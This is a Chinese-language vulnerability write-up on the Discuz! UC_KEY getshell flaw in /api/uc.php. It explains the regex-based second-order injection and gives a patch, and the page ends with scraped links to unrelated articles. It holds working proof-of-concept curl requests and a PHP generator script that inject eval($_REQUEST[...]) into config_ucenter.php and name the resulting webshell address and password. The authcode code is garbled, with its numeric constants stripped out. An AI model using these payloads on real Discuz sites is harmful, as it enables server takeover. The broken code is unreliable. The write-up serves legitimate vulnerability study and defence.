目录

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

在Discuz中,uc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetch shell只能获取UCenter Client的webshell,即Discuiz!论坛的webshell

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137

2. 漏洞触发条件

. 必须知道UC_KEY,通常在配置文件里,或者ucenter的原始(没有经过修改的)数据库(应用)中
. 配置文件config.inc.php必须可写

0x1: POC

curl "http://10.1.217.177/discuz/upload/api/uc.php?code=1a09vrjaTITzlGZYe7RHfvEbTx6beEQf4o1lZ1gtsNaH59iWhXbToA4edv5BFoc0t69iiYK0k%2FPv8YhgZ2g" -d "https://sb\');eval(\\$_REQUEST[c]);#"

<?php

    $key = 'd0A4qd47Y2F8A8q0o5DcZai3E7n1l4d431obf0Fal6N1h1Bbn5h7ndzdj5w0e872';# uc_key 写在这里
$url = 'http://localhost/discuz/upload/api/uc.php';
$arg = 'action=updateapps&time='.time(); #拿webshell:http://localhost/discuz/upload/config/config_ucenter.php 密码:c echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"'; #curl或者用其他工具post提交 function authcode($string, $operation = 'DECODE', $key = '', $expiry = )
{ $ckey_length = ;
$key = md5($key);
$keya = md5(substr($key, , ));
$keyb = md5(substr($key, , ));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, , $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : ).substr(md5($string.$keyb), , ).$string;
$string_length = strlen($string); $result = '';
$box = range(, ); $rndkey = array();
for($i = ; $i <= ; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
} for($j = $i = ; $i < ; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % ;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
} for($a = $j = $i = ; $i < $string_length; $i++)
{
$a = ($a + ) % ;
$j = ($j + $box[$a]) % ;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % ]));
} if($operation == 'DECODE')
{
if((substr($result, , ) == || substr($result, , ) - time() > ) && substr($result, , ) == substr(md5(substr($result, ).$keyb), , ))
{
return substr($result, );
}
else
{
return '';
}
}
else
{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>

0x2: POC2

curl "http://127.0.0.1:8080/extensions/ucenter/api/uc.php?code=e139ylLunDNWWxMq92dSnChgJx5sLyx30MdgX7YkcUVAkyxJplcnrcb85BmYeYpFXXguNEn5GvQ9MxdMmRM" -d "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">https://zz');eval(\$_REQUEST[zz]);//</item></root>"

Shell地址

http://127.0.0.1:8080/extensions/ucenter/config.inc.php zz

Relevant Link:

http://faq.comsenz.com/viewnews-391
http://0day5.com/archives/1140
http://www.waitalone.cn/discuz-uc_key-getshell.html
http://www.sqlmap.cc/post-134.html

3. 漏洞影响范围
4. 漏洞代码分析

/api/uc.php

function updateapps($get, $post)
{
global $_G; if(!API_UPDATEAPPS)
{
return API_RETURN_FORBIDDEN;
} $UC_API = '';
if($post['UC_API'])
{
$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
} $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp); if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php'))
{
//Discuz x系列的添加了个正则 所以加个 http://、https://
if(preg_match('/^https?:\/\//is', $UC_API))
{
$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
$configfile = substr($configfile, -) == '?>' ? substr($configfile, , -) : $configfile;
/*
这行代码是漏洞的关键
1. 第一次提交: \');phpinfo();
/config/config_ucenter.php里的define那句就变成了: define('UC_API','\');phpinfo();'); 2. 第二次再提交
非贪婪匹配会匹配到: define('UC_API','\');
phpinfo();就留下来了 完成二次注入
*/
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
//$configfile = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '$UC_API');", $configfile);
if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w'))
{
@fwrite($fp, trim($configfile));
@fclose($fp);
}
}
}
return API_RETURN_SUCCEED;
}

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137

5. 防御方法

如果说class_core.php是执行初始化的工作,或者说声明必要的内容,那么这里的C::app()->init()就是把基本上需要的内容都获取到,例如数据库连接,后台设置的内容,用户信息,session信息等等

/api/uc.php

if(!defined('IN_UC'))
{
require_once '../source/class/class_core.php'; //初始化检测
if (method_exists("C", "app"))
{
$discuz = C::app();
$discuz->init();
} require DISCUZ_ROOT.'./config/config_ucenter.php'; $get = $post = array(); $code = @$_GET['code'];
parse_str(authcode($code, 'DECODE', UC_KEY), $get); if(time() - $get['time'] > ) {
exit('Authracation has expiried');
}
if(empty($get)) {
exit('Invalid Request');
} include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';
$post = xml_unserialize(file_get_contents('php://input')); if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed')))
{
$uc_note = new uc_note();
echo $uc_note->$get['action']($get, $post);
exit();
}
else
{
exit(API_RETURN_FAILED);
}
}
else
{
exit;
}

继续跟进$discuz->init(); 防御逻辑在\source\class\discuz\discuz_application.php中

private function _get_script_url()
{
if(!isset($this->var['PHP_SELF']))
{
$scriptName = basename($_SERVER['SCRIPT_FILENAME']);
if(basename($_SERVER['SCRIPT_NAME']) === $scriptName)
{
$this->var['PHP_SELF'] = $_SERVER['SCRIPT_NAME'];
}
else if(basename($_SERVER['PHP_SELF']) === $scriptName)
{
$this->var['PHP_SELF'] = $_SERVER['PHP_SELF'];
}
else if(isset($_SERVER['ORIG_SCRIPT_NAME']) && basename($_SERVER['ORIG_SCRIPT_NAME']) === $scriptName)
{
$this->var['PHP_SELF'] = $_SERVER['ORIG_SCRIPT_NAME'];
}
else if(($pos = strpos($_SERVER['PHP_SELF'],'/'.$scriptName)) !== false)
{
$this->var['PHP_SELF'] = substr($_SERVER['SCRIPT_NAME'],,$pos).'/'.$scriptName;
}
else if(isset($_SERVER['DOCUMENT_ROOT']) && strpos($_SERVER['SCRIPT_FILENAME'],$_SERVER['DOCUMENT_ROOT']) === )
{
$this->var['PHP_SELF'] = str_replace('\\','/',str_replace($_SERVER['DOCUMENT_ROOT'],'',$_SERVER['SCRIPT_FILENAME']));
$this->var['PHP_SELF'][] != '/' && $this->var['PHP_SELF'] = '/'.$this->var['PHP_SELF'];
}
else
{
system_error('request_tainting');
}
}
return $this->var['PHP_SELF'];
} private function _init_input()
{
if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) || isset($_COOKIE['GLOBALS']) || isset($_FILES['GLOBALS'])) {
system_error('request_tainting');
} if(MAGIC_QUOTES_GPC) {
$_GET = dstripslashes($_GET);
$_POST = dstripslashes($_POST);
$_COOKIE = dstripslashes($_COOKIE);
} $prelength = strlen($this->config['cookie']['cookiepre']);
foreach($_COOKIE as $key => $val) {
if(substr($key, , $prelength) == $this->config['cookie']['cookiepre']) {
$this->var['cookie'][substr($key, $prelength)] = $val;
}
} if($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST)) {
$_GET = array_merge($_GET, $_POST);
} if(isset($_GET['page'])) {
$_GET['page'] = rawurlencode($_GET['page']);
} if(!(!empty($_GET['handlekey']) && preg_match('/^\w+$/', $_GET['handlekey']))) {
unset($_GET['handlekey']);
} if(!empty($this->var['config']['input']['compatible'])) {
foreach($_GET as $k => $v) {
$this->var['gp_'.$k] = daddslashes($v);
}
} $this->var['mod'] = empty($_GET['mod']) ? '' : dhtmlspecialchars($_GET['mod']);
$this->var['inajax'] = empty($_GET['inajax']) ? : (empty($this->var['config']['output']['ajaxvalidate']) ? : ($_SERVER['REQUEST_METHOD'] == 'GET' && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' || $_SERVER['REQUEST_METHOD'] == 'POST' ? : ));
$this->var['page'] = empty($_GET['page']) ? : max(, intval($_GET['page']));
$this->var['sid'] = $this->var['cookie']['sid'] = isset($this->var['cookie']['sid']) ? dhtmlspecialchars($this->var['cookie']['sid']) : ''; if(empty($this->var['cookie']['saltkey'])) {
$this->var['cookie']['saltkey'] = random();
dsetcookie('saltkey', $this->var['cookie']['saltkey'], * , , );
}
$this->var['authkey'] = md5($this->var['config']['security']['authkey'].$this->var['cookie']['saltkey']); }

/api/uc.php

function updateapps($get, $post) {  /* */ if($post['UC_API']) { $post['UC_API'] = addslashes($post['UC_API']); } /**/
global $_G; if(!API_UPDATEAPPS) {
return API_RETURN_FORBIDDEN;
} $UC_API = '';
if($post['UC_API']) {
$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
} $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp); if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) {
if(preg_match('/^https?:\/\//is', $UC_API)) {
$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
$configfile = substr($configfile, -) == '?>' ? substr($configfile, , -) : $configfile;
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp);
}
}
}
return API_RETURN_SUCCEED;
}

Relevant Link:

http://blog.csdn.net/jesson002/article/details/11166827

6. 攻防思考

Relevant Link:

http://www.oldjun.com/blog/index.php/archives/59/
http://www.sqlmap.cc/post-17.html
http://www.oldjun.com/blog/index.php/archives/76/

Copyright (c) 2014 LittleHann All rights reserved

Discuz X1.5 X2.5 X3 UC_KEY Getshell Write PHPCODE into config/config_ucenter.php Via /api/uc.php Vul的更多相关文章

  1. [javascript svg fill stroke stroke-width x1 y1 x2 y2 line stroke-opacity fill-opacity 属性讲解] svg fill stroke stroke-width stroke-opacity fill-opacity line绘制线条属性讲解

    <!DOCTYPE html> <html lang='zh-cn'> <head> <title>Insert you title</title ...

  2. Discuz论坛搬家手记(X3.2版本)

    Discuz论坛搬家手记(X3.2版本) 客户在虚拟主机上 运行着一个DISCUZ论坛, 主机商限制太多,连MP3都不让放,客户准备是在上面放一个FLASH斗地主游戏的(多人联机版), 加上MYSQL ...

  3. uc_key getshell

    <?php $key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#uc_key 写在这里 $url = ...

  4. Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

    Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散. 位置在添加好友处 x完之后的效果 点击后触发 ok 借助此存储xss,我们进行worm传播,dz ...

  5. [Discuz!] Discuz X1.5点击“发帖”出现XML代码的解决办法!

    使用的是Discuz X1.5程序,不知什么原因,今天突然出现了大问题,就是在点击“发帖”的时候,原来正常显示的网页竟然变成了XML代码!经过一番查找资料,也未能找到是什么原因导致的,只是找到了解决办 ...

  6. 买茶叶想到的哪个比较便宜 x1/y1 >x2/y2 x代表多少钱 y代表 多少克 无聊的试炼

    茶叶1 128元     200克 茶叶2  330元    160克 当然这个哪个便宜 一眼就知道了,这里不过抛砖引玉 128元    330元 200克    160克 我们把价钱用x表示 多少克 ...

  7. HDU 4259(Double Dealing-lcm(x1..xn)=lcm(x1,lcm(x2..xn))

    Double Dealing Time Limit: 50000/20000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) ...

  8. DZ拿shell总结

    今天碰到一个dz的站,好久没拿了 ,拿下shell觉得应该总结一下 Uc_server默认密码 其实有了UC_SERVER就是有了网站的全部权限了,有了UC_SERVER你可以重置管理员密码 可以进后 ...

  9. Discuz利用UC_KEY进行前台getshell

    来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html 先通过uc_key把恶意代码保存在/uc_client/data/ca ...

随机推荐

  1. 通用权限管理系统组件3.9 的 Oracle 数据库创建脚本参考

    ---------------------------------------------------- -- Export file for user USERCENTER -- -- Create ...

  2. Linux 网络编程详解十一

    /** * read_timeout - 读超时检测函数,不含读操作 * @fd:文件描述符 * @wait_seconds:等待超时秒数,如果为0表示不检测超时 * 成功返回0,失败返回-1,超时返 ...

  3. SQL SERVER函数——表值函数的处理

    有些情况可能用下表值函数,表值函数主要用于数据计算出来返回结果集,可以带参数(和视图的一个大的区别),如果函数中没有过多的逻辑处理,如变量的定义,判断等,表值函数返回结果集可以简单向下面这么写: )) ...

  4. Incorrect string value异常解决

    mysql数据库的一个问题 1366-Incorrect string value:'\xE5\x8D\xA1\xE5......' for column 'filename' at row 1 问题 ...

  5. QTableView 一列添加两个按钮

    在QTableView的一列里添加两个按钮,之前添加一个按钮的思路是一样的,只是计算了一下按钮的宽,放两个按钮而已. 添加一个按钮的例子:QTableView 添加按钮 本例源代码:QtTowButt ...

  6. Qt中forward declaration of struct Ui::xxx的解决

    每当你新键一个 QT设计界面, QT会自动生成yyy.ui文件,如 <?xml version="1.0" encoding="UTF-8"?> & ...

  7. 在CentOS上部署基于dnx/coreclr的ASP.NET 5应用程序

    在Ubuntu上写好了一个简单的ASP.NET 5应用程序,尝试将这个程序部署在没有mono环境的CentOS服务器上. 部署步骤如下: 1)安装libuv(KestrelHttpServer需要它) ...

  8. PHP+mysql数据库开发搜索功能:中英文分词+全文检索(MySQL全文检索+中文分词(SCWS))

    PHP+mysql数据库开发类似百度的搜索功能:中英文分词+全文检索 中文分词: a)   robbe PHP中文分词扩展: http://www.boyunjian.com/v/softd/robb ...

  9. IOS_SearchBar搜索栏及关键字高亮

    搜索框的效果演示: 这个就是所谓的搜索框了,那么接下来我们看看如何使用代码来实现这个功能. 我所使用的数据是英雄联盟的英雄名单,是一个JSON数据的txt文件, JSON数据的处理代码如下所示: ? ...

  10. PHP 文件创建/写入

    <?php /* PHP 文件创建/写入 fopen() 函数也用于创建文件.也许有点混乱, 但是在 PHP 中,创建文件所用的函数与打开文件的相同. 如果您用 fopen() 打开并不存在的文 ...